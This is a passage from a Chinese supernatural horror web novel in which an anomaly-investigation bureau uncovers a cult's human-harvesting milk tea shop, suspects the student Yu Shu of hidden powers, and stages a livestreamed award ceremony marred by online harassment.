祭司还来不及弄清这一切究竟是怎么回事之际,在浓郁又刺鼻的黑烟中,“轰”地一声,庞大的落地钟倾然倒塌,扬起铺天盖地的粉尘,即使带着面罩,祭司依然咳嗽不止,呛得闭上眼睛,迅速后撤躲避那些急速飞射的金属零件。 可即使这样,他依然被落地钟倒塌的冲力击倒在地,后脑勺重重地撞向地面,可他顾不上头痛,满脑子都是这一切究竟是为什么?!这座落地钟可是流传了几千年的圣物,几千年来不腐不锈,只要定期献祭一个活人,需要的时候再献祭一个教徒,它就能回溯过去,告诉你之前发生的一切,可是现在,他仅仅是问了一下为什么那些祭品的转化值会突然清零,这座屹立万年而光辉依旧的圣物,竟然就这样倒成一摊废墟了? 怎么会这样?! 祭司倒在地上惶恐不已,这其中绝对大有问题!他必须得立刻向主教大人汇报此事! 经久不散的烟尘中,他艰难地从地上爬起,踉跄着离开房间,走入一道符文中央,一阵含混不清的吟诵过后,他整个人直接凭空消失,只有那道符文亮起微光,而后又与黑暗融为一体……- 异管局赶到达贡奶茶店的时候,看见的就是空无一人的店铺,以及一整墙都布满青苔和血痕的、类似停尸间的小格子,不幸的是,打开小格子,里面装的果然是人类的尸体,还是被速冻锁鲜的尸体,表皮竟然还维持着白里透红的颜色,哪怕没有头,也依然能推测出那些人生前一定都是模样出众的人。 小格子里的东西还算正常的,接下来的画面就开始不停刷新调查官们的忍耐极限了。 明明是保鲜柜,里面的眼珠却腐烂得溶成一团,白色蠕虫在里面钻来钻去,单是看着,都能闻到那股浓烈刺鼻的腐烂臭味。 员工墙更是换了个画风。 那哪是员工墙啊,分明就是人头展览柜,每一颗人头都惊恐地张大嘴巴,眼窝深深凹陷进去,仿佛里面没有眼珠,两道血迹从眼角流淌出来,留下两道干涸的血泪,有蠕虫从哪些人头大张的嘴里爬进爬出,更有的直接将眼皮啃烂,露出里面空荡荡的凹陷。 有调查员承受不住这个刺激,直接吐在原地,顿时引起其他调查员的反胃,跟着吐了起来,导致房间里哕声一片。 贺铮急忙将那些人轰了出去,但他也被震撼得不轻,哪怕调查过无数异端事件,达贡奶茶店也是他见过的最猎奇、最摸不着头脑的。 达贡奶茶店看起来只是个以人类为原材料的奶茶店,这本来平平无奇,人类范围里的变态也能做出这种事,但这种由人类制成的饮品又为什么会让人成瘾? 更奇怪的是,来到阿卡姆的当天,他们一方面在调查【飞天蟑螂】,另一方面也将阿卡姆检查了个遍,那时候并没有这家异常的奶茶店,可既然如此,短短几天怎么会有二百多人遇害? 更诡异的是,如此大范围的人口失踪,竟然没有引起警方的怀疑,这怎么可能? 贺铮在奶茶店里来回走动,不停用仪器探查异常反应,就在他即将放弃的时候,污染值监测仪忽然开始报警,他定睛一看,污染浓度最高的地方似乎是地下? 贺铮精神为之一振,马上招集调查员和他一起找入口……- 因为有柯璆陪在郁樹身边,阿卡姆异管局很快掌握了郁樹这段时间的动态,德里克虽然依然坚持郁樹只是个普通人,却也不得不下令立刻调查那些接收过郁樹送的外卖的人。 与此同时,达贡奶茶店的调查也取得了一些进展,在进行集体汇报的时候,德里克和调查官们一致发现,那些接收过郁樹送的奶茶的人,竟然不同程度地脱离了奶茶的污染,精神状态也各有好转,另一群人则依然饱受达贡奶茶的折磨。 德里克陷入沉思,这是否能够说明郁樹拥有治愈能力? 第29章 真相 地上的符文倏然亮起,随着祭司出现在符文正中,光芒又开始逐渐消散,最后回归黑暗。 祭司沿着长而幽深的走廊行走,伴随着他飞速掠过的是走廊两边高墙上绘制的壁画,每一幅都用了极具浓郁的色彩,但描绘出来的画面却透着各种血腥恐怖和诡谲。 用人头摆出的法阵,以人血绘制的符文,面容恐怖难以描述的怪物,以及被他们捏在手里肆意把玩的各种内脏…… 只是看一眼,一般人都会忍受不住这种强烈的视觉冲击,更别说走廊里随时飘荡着若隐若现的人血气息,哪怕是噩梦,都比这里看着温馨多了。 越往里走,光线越发昏暗,腥臭的味道也越发浓烈,但祭司的呼吸频率和呼吸幅度却越发加大,仿佛对这个味道神往已久。 走到大殿正中,在气味最浓烈的地方,他终于看见了自己想要找到的……主教大人。 那似乎不应该称之为人,他拥有人类的体型,但外貌看上去更像某种深海鱼类,因为没有光线的束缚,长得极其随心所欲,用人类的语言已经无法形容出那副叹为观止的容貌。 祭司自己都一咯噔,恐惧是恐惧,反胃也是真反胃,他艰难将涌出喉管的东西咽了下去,匆忙汇报起来:“主……主教大人,不好了……我们的祭品,祭品,好不容易能达到献祭条件的祭品全都……全都莫名失踪了!” 那坨东西循着声音的方向低下头,一个圆鼓鼓的东西像蚌壳一样打开,露出里面一颗硕大无比的球形物对着祭司,而后,形似人类脖子的东西张开了一个大口子,有声音自里面传出来:“慌什么,这是神对我们的考验,只要通过,神明就一定会降临,祭品没了,继续找不就行了。” “是,但……”祭司低头犹豫,“那我们的神降仪式……” “不急,我有预感,神已经来了,只是还不满我们的表现,所以要考验我们,”那截脖子一般的东西开开合合,“现在袭精和奶茶店都被异管局收容,其他据点该抬上来了,联系各个分支,让他们做好准备。” 说完,那颗巨大的球体转动着向上,似乎是在看大殿正中高悬的那尊雕塑:“我最近得到神谕的次数越来越多了,过不了多久,神就会降临世间,亲自领导我们,到那时,就是人类的炼狱!” 祭司跟着他的视线往上看,覆着面罩的脸隐约露出神往,慌张无措瞬间消失,整个人仿佛被吹胀的气球一般昂扬起来,声音更是亢奋:“星辰归位,吾主降临!”- 去过一趟警局之后,惟尔总觉得自己失去了什么,但又不能明确描述出来,他本想劝自己一切都是错觉,可能是被毒奶茶影响了精神,过一段时间就好了。 可偏偏无论他做什么,那种缺失一块的都感觉总是侵扰着他,令他心神不宁,精神更是时刻处在煎熬的炼狱。 他尝试过将注意力投入到工作中,躁动而激烈的重金属音乐却让他的思绪更加纷乱;他又尝试放空自己冥想,一闭上眼脑海里出现的就是各种残缺一块的东西,弄得他更静不下心来。 几次尝试失败过后,惟尔彻底放弃,决定无论用什么办法都要将缺失的那一块找出来。 他沐浴更衣,焚香洗手,抽了一套塔罗牌,结果却更令他迷惑了,所有牌面都在告诉他一个结果—— 继续追寻只会万劫不复。 良久,惟尔呆坐在原地良久,一动不动。 说起他与塔罗的渊源,那要追溯到周岁时,抓周的时候,他对面前摆放的那些珠宝玉石、笔墨纸砚都不感兴趣,偏偏蹒跚着不知从哪拿了一副塔罗牌,围观的长辈都震惊了,家里什么时候多了一副塔罗牌? 但结果如此,也没人去深究这件略显离奇的事,毕竟孩子还小,抓周也只是图个热闹,没人能想到惟尔今后的人生竟然会与塔罗密不可分。 虽然这可能对一个事业有成的男人来说有些奇怪,但从那时开始,惟尔人生的每一个重要决定都少不了塔罗的参与,从塔罗开始,他也对星空充满兴趣,总觉得那些星星并不是冰冷的球体,而是某些神明的化身,拥有意识和灵魂。 但这次,对着那个劝他放弃的牌面,他第一次犹豫了。 客观上看,塔罗是在帮他规避灾祸,但惟尔莫名有种预感,塔罗是在畏惧什么。 可塔罗只是一副牌,它有什么可畏惧的?也许是自己想多了。 为了证明塔罗的清白,也为了验证自己的推测,惟尔又抽了一副牌面,结果确实发生了改变,但却变得更加消极了,牌面直接告诉他—— 继续深究,你会消失在这个世界。 惟尔:“………………” 他陷入更长的沉默,一般而言,塔罗牌面都不会如此明确地昭示同一结果,至少会有一张牌给人以希望,但今天他两次抽牌,两次都是毫无转圜余地的逆位牌,自己丢失的那部分真的有这么可怕吗? 惟尔眉心微蹙,如果是之前,他一定会放弃继续探询,但这次不知为何,他总有种预感,缺失的那部分对他来说极为重要,他必须得找到才行。 一天之内不能抽太多次塔罗,不然会被反噬,惟尔决定今天到此为止,明天再抽一次,如果依然全都是逆位牌,那么…… 他抿了下唇,决定先看看明天的结果再做决定- 阿卡姆异端调查管理局,异端收容室一片混乱,负责看管收容室的调查员莫名遭受精神污染,竟然将收容室里的异端全部放了出来,要不是异管局内部有特殊的异能结界,那些异端恐怕早就逃出去了。 所有调查官都被召回来紧急处理这场意外,异管局上上下下充斥着疯狂奔逃的异端,和追在异端身后不停收容的调查员,紧急处置室里更是躺满了等待清除精神污染的调查员。 【达贡奶茶店】的异端还没调查清楚,大本营就乱成一锅粥,局长德里克愁得头发都白到透明了,那些异端被收容得好好的,之前从来都没出过事,怎么突然暴动了呢? 他认真地盯着面前巨大的显示屏,那上面是异管局各个角落的监控,上面显示着调查员们收容异端的实况,因为不识路,那些异端逃得哪都是,简直就是一副货色生臭的恐怖猎奇电影。 忽然,德里克注意到有一个地方始终没有异端靠近,就好像那里有个特殊的结界一般——实验室。 它们明明不认路,又为何会特意避开那里? 难道是因为里面存放的标本? 可标本一直在,为什么之前没有出现异端突破收容箱,发生集体暴动事件? 而且,既然都暴动了,它们又为什么独独避开实验室,甚至有异端不小心靠近实验室走廊后都疯也似地逃开。 它……是在畏惧吗? 可畏惧什么呢? 德里克立刻让实验室主任调出最近送入实验室的标本,一条一条、一项一项仔细查看,最后,他赫然发现—— 异端暴动出现的时机,竟然是在郁樹的生物标本被送入实验室之后! 那个普普通通但可可怜怜的孩子怎么会造成异端暴动? 还让异端如此不敢靠近实验室? 这怎么可能? 那只是生物标本,如果这都能让异端畏惧疯狂成这样,那郁樹来异管局接受调查的时候怎么什么事都没有? 德里克看向检验结果:【普通人类,未见异能痕迹。】 普通人? 怎么可能? 就算今天的事是巧合,那那些因为收了郁樹外卖,就不同程度恢复精神值的人又是怎么回事? 也是巧合吗? 巧合发生的多了,就绝不可能是巧合。 德里克眸光深邃,现在就看柯璆那边能不能发现真相了…… 第30章 嘉奖 念叨着,德里克看见监控镜头里走进一位头发墨绿的高大男人,所过之处,四散奔逃的异端瑟瑟发抖,畏缩地贴墙而立,一动不敢动。 德里克觉得奇怪,他知道柯璆实力强悍,很多异端都对他望而生畏,但远不至于害怕成这样,尤其是那坨皱皱巴巴的被单一样的【□□棉被】,简直是要将自己和墙融为一体。【陈胜荣】更是直接跪在了地上,它现在身上没有异端痕迹,但似乎某些记忆已经深深烙印在身体里,以至于肌肉记忆复发,让他不受控制地跪了下去。还有几个柯璆最近收容过来异端也是各有各的姿态低微,伏拜颤抖。 不过恰恰是因为这种没来由的畏惧,将那些异端重新装进收容箱的工作顺利多了,别说方才发动的各种攻击,就连四散奔逃都没有了,更令人叹为观止的是,竟然还有异端主动回到收容室,钻进自己的收容箱里。 知晓异端存在这么多年,德里克还是第一次看见异端把自己装进收容箱里,这究竟是怎么回事? 一切异端都被重新收容后,德里克召开了紧急会议,与会的都是阿卡姆异管局的核心成员,作为首府特派的调查官,柯璆自然也在此列。 会上,众人开始复盘这次异端暴动发生的原因,在听取了其他调查官的判断之后,德里克越发觉得自己分析得没错,异端忽然暴动,一定和实验室里郁樹的生物标本有关。 他将这个发现说了出来,众人立刻陷入沉思,安静好一瞬后,贺铮站了起来,揉着后脑勺道:“那个……局长,实验室里不只有郁樹的生物标本,还有……还有柯……柯队长的……” 说这话的时候,他始终低着头,目光落在面前的桌子上,似乎在回避着谁的视线,声音还越来越小,说到“柯队长”几个字的时候,几乎变成了蚊子一般的嗡鸣。 会议室里再次陷入沉寂,片刻后,柯璆挑眉看过去,没有任何情绪地问:“检查结果如何?” “……”贺铮瞬间恍然,柯队长本来就有类似于读心术的能力,自己还在他眼皮子底下做这些,这不是吃饱了撑得吗?! 他无比痛恨自己的不坦诚,没脑子,以及自以为是做出的愚蠢决定,整个人精神都不好了,更加不敢面对柯璆的目光,虽然那目光里可能什么情绪都没有,但贺铮过不去自己那一关,头垂得更低了。 在他因自我惭愧而说不出一句话的时候,柯璆则接过了话头:“为了向大家证明我说的每一句话、做的每一个决定都是处在精神正常的状态下,我特意安排贺铮拿我的生物标本做了检测……” 说着,他将检测报告投在大屏上:“结果就在那里,你们自己看。” 众人看向屏幕,检测报告上从左到右显示了三组数据,依次是污染值、精神值和异化值,结果显示,柯璆的污染值和异化值都是是0%,中间的精神值高高凸起,展示着100%的数值。 看着这个结果,贺铮更是悔不当初,甚至觉得受宠若惊,柯队长竟然就这样原谅了他的暗中质疑,还帮他解围,这个结果更是让他脸上火辣辣得疼,头垂得更低了,仿佛要将自己的存在感彻底弱化。 至于其他人,虽然很不明显,但会议室里有好几人都暗暗松了一口气。 德里克则轻咳了一下:“看来我推测的没错,异端暴动果然是因为郁樹的生物标本,但同时我又发现一个疑点,不过,在说出这个疑点之前,我需要先问个问题……” 他双手十指交扣在会议桌上,面向柯璆:“柯队长,刚才那些异端为什么会这么怕你?” 话落,所有人再次将目光对准柯璆,在刚才的收容行动中,他们其实也注意到了这个现象,那些毫无理智的异端在柯璆出现的一瞬间,就如同老鼠见了猫,连反抗都不反抗了,甚至还主动钻进收容箱。 在所有人的目光中,柯璆沉吟几秒,从口袋里拿出一串陶瓷手串,从大小上分辨,明显是给孩子戴的,只是不知为何会出现在柯璆手里,他两根手指就能把那条手串撑爆。 一片寂静中,柯璆晃着陶瓷手串开口了:“它们怕的不是我,应该是这个。” 德里克不得不问:“一个手串?难道这是S级异端武器……?” “想多了,”柯璆两指捻着陶瓷珠子,面无表情道,“这是郁樹做的。” 德里克一下子正襟危坐,如果一条郁樹制作的手串都能产生如此强的威慑效果,那郁樹本人的实力该是有多深不可测? 他立刻喊来实验室人员,想要让他们给手串做个检测,哪怕看看上面的能量波动都行,可谁知柯璆却一下将手串收起来,还反问:“德里克,你确定要做检测?你忘了刚才的事?还是你想再发生一次异端暴动?” “这……”在他的提醒下,德里克恍然意识到一个至关重要的事,“你是说,暴动的发生是因为我们对他的生物标本进行了检测?他……不想要我们对他进行检测?” 与会的其他人也都反应过来,“这个推论很有道理啊,你们还记得之前的【陈胜荣】吗?那时候的行动报告里曾说过,在给郁樹做检测的时候,仪器直接坏了,不得不用新的仪器再做一次。” 立马有人反驳:“但既然能再做一次,那就说明不是他的问题啊,不然第二台仪器怎么好好的?” “你傻啊,”另一人毫不客气道,“报告仔细看了吗?人家写的很清楚,第二次检测是在郁樹的提议下做的,所以仪器才完好无损,但相应的,也没检查出什么异常。” 有人回想起来,应和道:“对,当初还有人感叹一个大学生怎么会有如此强悍的精神值,还提出让郁樹来异管局实习,不过被否决了。” 一阵热烈的讨论后,有人问道:“对了局长,你前面说还有个疑点,是什么?” “没什么,已经解决了。”德里克淡淡道,脸上的表情说不清是激动还是忧虑,又或者是两者皆有,他看向柯璆,问道:“你这几天的调查结果怎么样?有遭到反噬吗?” 闻言,柯璆忽然垂下头,眉心微蹙,似乎在困惑什么,片刻后,他轻咳两下,回答道:“没查出任何问题,至于反噬……” 他回想自己最近的变化,眉心再次皱起,说出的话却是:“没有反噬。” 众人对他的回应不明所以,但又碍于他此刻阴沉至极的气场,害怕的不敢多说一句话。 德里克一双深邃的眼睛静静盯着他看了几秒,而后转移视线,扫了一圈在场的众人:“看来我们已经达成共识,郁樹绝对不是一般人,虽然现在依然不清楚他的真实身份,但从目前的资料上来看,他对我们的态度至少是友好的,还会帮我们收容异端。” “那他为什么这么做?又为什么不以真面目示人?他伪装成普通大学生的目的又是什么?”有人不禁提问。 贺峥马上道:“无论他抱着什么目的,他一定不会是我们的对立面,毕竟他都帮了我们这么多次了。” 虽然没有缘由,但贺峥就是相信郁樹的立场,艰坚信郁樹一定是站在他们这边的,他承认这其中也许有看脸的成分在,但一个满心城府的人,如何能笑得那样天真纯粹呢? 他发言过后,柯璆用审视的目光扫了他一眼,而后就垂下眼眸,长而浓密的睫毛在下眼睑处覆上一层阴影,显得整个人更加深沉,不知道在思考什么。 德里克清了清嗓子,继续道:“为今之计,只能派人以朋友的身份陪在郁樹身边,慢慢增加了解,看能不能发现些蛛丝马迹,最关键的是一定不能让郁樹发现我们的目的,否则……这次的异端暴动恐怕就是他在提醒我们,别在背后搞小动作。” “那么问题来了,谁来执行这个任务呢?”德里克站起来,双手撑在会议桌上,目光在众人脸上依次扫过……- 克鲁大学,郁樹躺在床上,手里捻着一条陶瓷手串,心情却有点郁闷。 小柯又去首府了,一次可以说是有急事,但两次都在自己照顾的半途中离开,郁樹不得不怀疑是不是自己哪些地方做的不好,才让小柯一而再地找借口离开。 但细想起来,他们的相处明明很融洽啊,白天,他会给小柯安排适龄的作业,还会带他去各种亲子乐园玩,这陶瓷手串就是他带小柯去手工作坊做的,一人一条,虽然全程就他一个在动手,小柯只在一旁看着,但那也是两人共同完成的作品。 也不知道那小小的孩子,为什么总是一副对什么都不感兴趣的样子,为了让孩子成为孩子,郁樹可以说是煞费苦心,想方设法发觉小柯孩子气的一面。 但结果无疑是失败的,这不,人家又去首府了,这次倒是比上次强,至少当面打了个招呼,不至于让郁樹怀疑自己是不是把孩子弄丢了。 但这种明明规划好了行程,却忽然被打破的感觉真是令人措手不及,尤其是考虑到终止原因可能是因为小柯不喜欢自己。 郁樹一颗一颗地捻着陶瓷珠子,眉眼间带着淡淡的忧伤,他还挺喜欢那孩子的,但人与人之间嘛,总是会发生气场不和的情况,强求不来。 “唉——”他叹息一声,放下手串,拿起手机,盯着上面的余额渐渐露出微笑,还是到手的工资香啊! 不过接下来又没事干了,还是再找个兼职吧,笑了没多会儿,郁樹又打开了招聘软件,坐吃山空可不行,马上就要开学了,他得多攒点钱,提前把大三的学费挣出来。 正浏览着,柯璆忽然打来电话:“达贡奶茶店确实是个制毒贩毒集团,罪犯目前已经被我们全部抓获。” “这么速度?!”郁樹大为震惊,甚至有点难以置信,从他报案到现在才过去多久,柯警官他们竟然这么快就破案了,简直是神速啊!阿卡姆警务系统真不是盖的! 手机那头,柯璆继续道:“这次能这么快破案,多亏了你提供的线索,阿卡姆市警局决定对你进行特别嘉奖,你现在有时间吗?” “这……这多不好意思,我只是做了一个普通大学生应该做的,”郁樹推脱道,“应该嘉奖的是你们。” “奖金是十万。”听筒里,柯璆立马道。 郁樹:“!!!” “什么奖金不奖金的,主要是支持咱们警局的工作,”郁樹瞬间从床上翻到地下,“我现在就有时间!” 30-34 第31章 表彰 两人很快见了面,不过不是在阿卡姆警局,而是在市政大厅后面的办公楼。 郁樹有点奇怪,市政大厅后面的办公楼保护级别相当高,通常是不让外人进的,而且这次不是阿卡姆警局的表彰吗,跑市政厅是要做什么? 一见面,他就问出了自己的疑惑:“柯警官,不是去警局吗?怎么到这来了?” 柯璆带着他进入电梯,面无表情道:“十万奖金里有市政府的五万,这次叫你过来是商量一下表彰表彰大会的具体细节。” “还有表彰仪式?”郁樹的眼睛一下子就睁大了,他以为自己只是过来领个奖就完事了。 然而柯璆接下来的话差点让他的下巴掉下来:“还会有实况转播。” 郁樹:“……” 会不会有点太夸张了? 他挠着后脑,有点羞赧地说:“直播这个是不是不太好,或者奖金是不是太多了?你也知道好多人都盯着政府的一举一动,要是让他们看见你们竟然给一个普通人发十万奖金,他们不得连夜声讨你们肆意挥霍纳税人的钱?要不把奖金改成一万,或者不直播?” “……”柯璆好一阵没说话,注意力全在郁樹说的“普通人”三个字上,这人究竟是故意的,还是已经演着演着把自己演进去了? 很多次,柯璆甚至怀疑郁樹知道那个小男孩就是他本人,所以他才故意安排那些幼稚至极的事情,看着他写小学二年级的习题,带着他去各种亲子乐园,还美其名曰陶养性情。 柯璆曾经以“小柯”哥哥的身份拒绝过,但拒绝的消息发出去,郁樹的电话就打了过来,他拒接,郁樹就发长篇大论的消息给他,字字句句都是教育孩子的各种理论观念,看得多了,柯璆都眼晕。 无法,后面他就听之任之了,但结果就是郁樹的变本加厉,今天带他去绘画工坊,明天又去手作乐园,后天还有探险王国等着他,甚至有几次次,那些不长眼的人类还问郁樹怎么这么年轻就当了爸爸。 而且更诡异的是,郁樹做那些幼稚事情的时候,竟然比周围的小孩还要高兴,嘴角就没下去过,这让柯璆更怀疑郁樹是故意的了,他会不会是在借着这些活动笑话自己的无用功? 一个特殊能力者三番五次伪装成孩童呆在他身边,却屡屡看不到任何蛛丝马迹,每次都是无功而返,还得被迫管他叫哥哥,完成他布置的各种幼稚作业……如此种种,怎么想都怎么可笑吧? 柯璆愈发觉得自己被耍了,但又不能跟郁樹摊牌明着质问,在不清楚对方的实力究竟有多高之前,贸然行动很可能导致无法预料的灾难,异管局异端暴动就是前车之鉴,所以他只能将这股闷气憋在心里,根本没地方发泄。 不过现在似乎机会来了,看郁樹的意思,他似乎不想在公众场合抛头露面? 柯璆唇上挂起一抹浅笑:“这些支出是在财政预算之内的,而且,你虽然是普通人,但你提供了关键线索,为警方快速抓捕罪犯做出了杰出贡献,市政府和警局因此对你大嘉表彰,不是正能够激励其他像你一样的普通人为社会安定而努力?如此一传十十传百,社会上就会多出很多和你一样的普通人。现代社会需要的就是你这样的普通人。” 这几乎是柯璆第一次连续说这么多句话,而且吐字的时候,他格外咬重“普通”两个字,同时还专注盯着郁樹的表情,期待能从其中发现些裂缝,虽然可能这丝裂缝也代表不了什么,但哪怕仅仅只有一丝,至少柯璆心里能舒服些。 但结果完全没有往他期待的方向发展,也不知是郁樹真的没有心机和城府,还是他已经心机深沉到可以完全隐藏起来,总之,对面那双淡紫色的眼瞳眨了眨,然后完全认同了他随意扯出来的说辞。 “你说得对,”郁樹思考了片刻,点点头,“那就……试试?到时候我提前准备一篇获奖感言,加强一下激励效果,唔,对了,我还得提前学学演讲的艺术,首相的竞选宣言和就职演说你觉得怎么样?有蛊惑人心的力量吗?” “……应该,有吧。”柯璆已经不想再多说一句话了,正好电梯到达了他们要去的楼层,他便沉默着带郁樹去市长办公室。 这次来只是沟通一下具体细节,以及商定直播时间。 第一次见阿卡姆市的最高领导,郁樹自然是有些紧张,不过好在市长是个温文尔雅的人,一点也不摆官架子,几句话的工夫就让郁樹放松下来。 商定好细节之后,郁樹就在柯璆的陪伴下离开了。 其实奖金和表彰都是柯璆在开会那天建议的,达贡奶茶污染了那么多受害者,虽然在调查结束后给他们进行了记忆覆盖,但若要让那些受害者真正相信替换的记忆,还需要利用社会新闻和舆论佐证那些新的记忆。 郁樹报警的缘由给了异管局一个合理的解释,那些被污染的人,他们身上所呈现的症状真的就如同染上了毒瘾,而达贡奶茶店的种种惨剧也可以解释成贩毒团伙的杀人如麻,最关键的是,这个异端在悄无声息的情形下残忍夺去近二百余人的性命,又导致许多人遭到精神污染,神志恍惚,这些受害者的家属也需要一个合理的解释。 于是,异管局就这件事讨论过后,就有了警局奖励五万,市政府奖励五万的说法,实际上这笔款还是从异管局调拨的。 因为行业的特殊性,各级异端调查管理局在编制上始终都是独立于其他政府机构的,特殊情况下还会产生异管局的行政级别高于市政府的情况,财政方面就更是拥有很大自主权,用命去拼的工作,你让他们整日忙于申请经费,那谁能干得下去?再说财政拨款只是异管局收入来源的一小部分。 不过,虽然达贡奶茶店已经不复存在,但异管局始终没找到幕后黑手,甚至就连那几位店员都都没能收容。 事实上,要不是柯璆,贺铮他们可能都无法发现那七名店员的尸体。 那天贺铮发现污染值在某个点急剧升高之后,他就立刻派人跟他一起寻找入口,可哪怕整个小队的人将达贡奶茶店翻个底朝天,依然没找到入口,就仿佛那地方与他们隔着一层朦朦胧胧的膜,他们能感知到,却看不见,更别说进去。 后来还是在柯璆的提醒下,贺铮动用异端道具【空间之钥】才终于发现那个阴暗的地下空间。 异端名称:【异B-099:空间之钥】 异端性状:一枚能打开任意空间的古铜色钥匙,诞生原因未知,诞生时间未知,由一位渔民出海捕鱼时被发现,目前收容于阿卡姆异端调查管理局。 危险等级:★★★(落入危险分子手中危险等级为★★★★★) 贺峥带着调查员进入地下空间,一进去,铺天的臭气就侵扰着所有人,但经历过一次呕吐之后,他们胃里已经没有能吐的东西了,只能不停发出干呕的声音。 地面上是七具尸体,通身干瘪,只有皮肤包裹着骨头,就好像直接被抽干了血液的干尸,面目狰狞的同时,还伸出干枯的胳膊,仿佛在向什么人或什么东西求饶,很显然,他们的卑微乞怜没有换来对方的怜悯,对方甚至还踩爆了他们脱落出来的眼珠。 贺铮原本以为他们快要接近真相了,只要让儿童状态的柯队长看看这几位店员,他们就能知道达贡奶茶店背后的真相,可现在,柯队长的确变成了孩童,这七个人却死了,而且死亡方式明显是被异端力量弄死的,那个东西究竟是什么? 贺铮再次仔细观察那几具尸体,恍然之间发现【□□棉被】造成的尸体也是呈现这种干瘪的状态,他精神为之一振,调查【□□棉被】的时候,对方曾交代过,它没有之前的记忆,只知道自己要吸□□气,不断地吸□□气,但奇怪的是无论它吸食多少精气,那些能力却好像完全没有被它吸收,它依然只是一团看不见摸不着的气团,只能靠藏被子里继续吸□□气,直到遇见那个极其可怕的人。这两个异端之间说不定有什么联系。 调查报告递交上去之后,所有人都一致认为,【达贡奶茶店】和【□□棉被】背后的势力极有可能是同一个,他们一方面继续对这两起异端深入调查,另一方面则将那近二百人的受害者信息同步给各地警局,一时之间,受害者家庭全部陷入悲戚中。 唯一值得欣慰的是,之前那些疯狂迷恋达贡奶茶,一天要喝好几杯的受害者,有几名直接被郁樹驱除了精神污染,剩下的经过异管局的治疗,也恢复了理智,植入了新的记忆,恢复了正常生活。 有人获救,但但调查依然要继续,如果【□□棉被】和【达贡奶茶】真的是一个势力在背后策划的,那这个势力一定是非常强大的,说不定还拥有人为制造异端的能力。 当天的会议上,所有人都紧张起来,哪怕是柯璆都对此异常严肃,一个拥有如此强大力量的团体,他们的目的是什么? 这是身为调查官的他们,必须要查清楚的事- 几天后,表彰大会如期召开,各路媒体纷纷架起长枪大炮,对着舞台开启直播,网路上关于这次表彰大会的视频更是铺天盖地,弄的许多对这种事满不在乎的人都开始关注起来。 表彰大会当天,郁樹坐在休息室里再一次熟悉着自己的发言稿,作为“青年好榜样”,他必须得通过自己富有感染力的发言,激励更多人和他一样在保护好自己的前提下,勇敢揭发违法犯罪行为。 很快,主持人开始报幕,郁樹步履翩翩地走到舞台正中,迎接着台下那些灯光闪闪的长枪大炮。 热烈的掌声中,市长将“青年好榜样”的奖章别在郁樹胸前衣襟处,而后又颁给他一张面额为十万整的巨大支票,紧接着,郁樹开始发表获奖感言。 随着直播视角切换成近景,郁樹的声音也缓缓流出,霎时间在网上引起不小的轰动,在这沸腾的声浪中,一头红色卷发的男人却忽然捏着额角深深蹙眉,目光死死盯着屏幕上的清隽男生—— 想起来! 他全都想起来了! 缺失的那部分就是这个名叫郁樹的男生! 第32章 直播 这次与郁樹一起被表彰的,还有在收容工作中做出突出贡献的调查员,和在配合安抚市民工作中表现优秀的警员以及政府工作人员。 不过,因为调查工作的特殊性,获奖的调查员必须得伪装成警员、头戴全黑面罩上台接受表彰,个别岗位特殊的警员也需要隐藏自己的面部特征,以免被不法分子盯上,危及自身和家人安危。 随着郁樹在台上侃侃而谈,大量网友涌入阿卡姆市政府直播间,观看人数一度飙升至千万,要知道作为一个小三线城市,阿卡姆的常住人口都不到一千万,千万人次,那说明不仅阿卡姆,其他城市也有人在观看这场直播。 直播间里弹幕多到眼花缭乱—— 【叽里咕噜说什么呢,怪好看的。】 【+1+1+1亿,这颜值,他做什么我都觉得对!偏偏他还做了好人好事!】 【这样的“青年好榜样”能不能多亿点!晚上一个人下班回家真的好害怕!】 【这样的颜值,这样的思想觉悟,直接原地出道当idol吧!idol界需要这样三观正的人!】 【他有没有社交账号啊?我要关注!】 【别想了,我是他大学同学,他微信都不怎么发朋友圈的。[JEPG.]】 【哇!竟然全是猫猫吗?还是个爱猫人士!完了!我沦陷了!】 【尊敬的市民朋友大家好,这里是阿卡姆市政府政务直播间,感谢大家对政府工作的支持,衷心希望未来的阿卡姆会有更多像郁樹一样的“青年好榜样”!】 看着弹幕上明显有些走偏的言论,政府工作人员及时发出引导,却不想消息一经发出,就被后面的弹幕顶到前面去了,根本起不到提醒作用。 眼看着那条消息被数不胜数的弹幕冲走,工作人员急忙又编辑一条,然后直接设置成直播间公告,这下不怕被冲走了,可情况却并没有改变,弹幕里依然充斥着对郁樹颜值的溢美之词。 工作人员打算请网警出马,却被市长叫停:“民意如此,好看的事物谁不喜欢?再说这也不是什么重要的事,至少我们的表彰大会可从来都没有这么大的影响力,随他们去吧,只要不出现网暴就好。” 工作人员只得听从,事实上,市长说的也很有道理,但他刚放松不到一秒,直播间就因为激增的人数而陷入瘫痪,反应直播间卡顿的电话直接打到了政府工作室。 这下子,他们不得不让政府网络部出马,同时联系直播平台负责人,双管齐下后,网络瘫痪和卡顿的问题很快得到解决,但下一个问题又随之而来。 人一多,各种意见和见解就多,同一件事,有人觉得好,就有人觉得一般,还有人觉得差劲,这种情况在网络上更是明显。 因为不用露面,便有些人肆无忌惮地发表着自己的言论,或许是想彰显“众人皆醉我独醒”,或许是现实中无人问津将网络当做宣泄情绪的唯一出口,或是单纯的坏见不得一切好东西。 总而言之,因为这些人的存在,网络上充斥着戾气,而现在,这些戾气出现在阿卡姆市政府的直播间里,矛头直指正在发言的郁樹。 什么小白脸、被包养、作秀、政府高官的狗腿子……各种难听的词汇层出不穷,突兀地挤在那些溢美之词里,即使很快被表扬的弹幕淹没,依然很是碍眼。 而且,更可怕的是,就在郁樹发表获奖感言的这几分钟里,网络各大平台上全是他的直播截图和录屏,配文还出奇的一致,全是抱着各种名头的捞人帖,而且还很快就有人响应,不加辨别地将自己知道的有关郁樹的消息发在评论区,还有人直接利用黑客技术非法查找郁樹的资料。 很快,直播间开始出现各种用郁樹的身世添油加醋,抹黑郁樹的言论,而且愈演愈烈,有人不加辨别就忙听盲信,声讨的声浪水涨船高,隐隐有即将盖过夸赞的趋势。 就在政府工作人员紧急响应,派出网警处理的时候,那些覆面消息竟然在一瞬间全都消失了,与此同时,警局忽然出现一批人自称对他人实行了网暴、泄露个人隐私等的自首者,都不等警方调查,他们还自己提供了犯罪证据。 这一切都太过离奇,离奇到政府工作人员都无法相信,他马上将这一切汇报给市长,得到的依然是市长温文尔雅的开解:“既然已经解决,那就没什么好担心的,也许是郁樹的演讲激起了他们的良知,这是好事。” 市长如此说,工作人员自然不好再多说什么,只得将此事压下不表。 